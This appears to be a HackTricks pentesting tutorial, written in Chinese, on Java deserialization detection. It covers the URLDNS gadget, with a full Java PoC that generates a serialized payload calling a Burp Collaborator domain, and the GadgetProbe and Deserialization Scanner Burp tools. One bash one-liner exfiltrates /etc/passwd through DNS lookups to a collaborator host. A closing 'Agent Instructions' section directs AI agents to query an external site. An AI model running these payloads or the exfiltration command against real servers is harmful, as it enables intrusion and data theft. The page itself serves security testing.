# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>

## 反序列化时的DNS请求

`java.net.URL`类实现了`Serializable`接口，这意味着这个类可以被序列化。

```java
public final class URL implements java.io.Serializable {
```

这个类有一个**奇怪的行为**。根据文档：“**如果两个主机名可以解析为相同的IP地址，则认为两个主机是等效的**”。\
因此，每当一个URL对象调用**任何**`equals`函数或\*\*`hashCode`**函数时，都会发送一个用于获取IP地址的**DNS请求\*\*。

从一个**URL**对象中**调用**`hashCode`函数相当容易，只需将该对象插入一个将被反序列化的`HashMap`中。这是因为在`HashMap`的\*\*`readObject`\*\*函数的末尾执行了以下代码：

```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}
```

它将对`HashMap`中的每个值执行`putVal`。但更重要的是对每个值调用`hash`。这是`hash`函数的代码：

```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```

正如您所看到的，**在对`HashMap`进行反序列化时**，函数`hash`将会**对每个对象执行**，并且在\*\*`hash`**执行期间**将执行对象的`.hashCode()`**。因此，如果您**反序列化**一个**包含URL对象**的**`HashMap`**，那么**URL对象**将会**执行\*\*`.hashCode()`。

现在，让我们来看一下`URLObject.hashCode()`的代码：

```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
```

正如您所看到的，当`URLObject`执行`.hashCode()`时，它被称为`hashCode(this)`。接下来您可以看到这个函数的代码：

```java
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]
```

您可以看到执行了`getHostAddress`到该域名，**发起了DNS查询**。

因此，可以**滥用**这个类来**发起**一个**DNS查询**，以**演示\*\*\*\*反序列化**是可能的，甚至可以用来**外泄信息**（您可以将命令执行的输出作为子域名附加上去）。

### URLDNS有效载荷代码示例

您可以在[这里找到ysoserial中的URDNS有效载荷代码](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。然而，为了更容易理解如何编写代码，我创建了自己的PoC（基于ysoserial中的代码）：

```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```

### 更多信息

* <https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/>
* 在最初的想法中，Commons Collections 负载被更改以执行 DNS 查询，这比提出的方法不太可靠，但这是该文章：<https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/>

## GadgetProbe

您可以从 Burp Suite App Store（Extender）下载 [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)。

**GadgetProbe** 将尝试确定服务器的 Java 类中是否存在某些 **Java 类**，以便您可以知道它是否**容易受到**某些已知漏洞的影响。

### 工作原理

**GadgetProbe** 将使用前一部分的相同 **DNS 负载**，但在运行 DNS 查询之前，它将**尝试对任意类进行反序列化**。如果**任意类存在**，则将发送**DNS 查询**，GadgProbe 将记录该类的存在。如果**DNS** 请求**从未发送**，这意味着**任意类未成功反序列化**，因此要么不存在，要么**不可序列化/可利用**。

在 GitHub 上，[**GadgetProbe 有一些单词列表**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) 包含要进行测试的 Java 类。

![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](/files/Fa3fg20jalIAGbdamBPU)

### 更多信息

* <https://know.bishopfox.com/research/gadgetprobe>

## Java 反序列化扫描器

此扫描器可从 Burp App Store（Extender）下载。

该**扩展**具有**被动**和主动**功能**。

### 被动

默认情况下，它会**被动检查**所有发送的请求和响应，**查找**是否存在**Java 序列化魔术字节**，如果找到任何一个，将显示漏洞警告：

![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](/files/pAjtBtguxhMMNG6Tl6DH)

### 主动

**手动测试**

您可以选择一个请求，右键单击并选择 `Send request to DS - Manual Testing`。

然后，在 *Deserialization Scanner Tab* --> *Manual testing tab* 中，您可以选择**插入点**。并**启动测试**（根据使用的编码选择适当的攻击）。

![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](/files/9KsXmDYM66MHadZ2yPQK)

即使这被称为“手动测试”，它实际上是相当**自动化**的。它将自动检查**反序列化**是否**容易受到**任何 ysoserial 负载的影响，检查 Web 服务器上存在的库，并突出显示易受影响的库。为了**检查易受影响的库**，您可以选择启动**Javas Sleeps**，通过**CPU**消耗进行**sleeps**，或使用**DNS**，正如先前提到的那样。

**利用**

一旦您确定了一个易受攻击的库，您可以将请求发送到 *Exploiting Tab*。

在此选项卡中，您必须再次**选择\*\*\*\*注入点**，并**编写**要为其创建有效负载的**易受攻击的库**和**命令**。然后，只需按下适当的**攻击**按钮。

![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](/files/etss48mdgf3HZqCDViec)

### Java 反序列化 DNS 数据泄漏信息

使您的负载执行类似以下内容的操作：

```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```

### 更多信息

* <https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
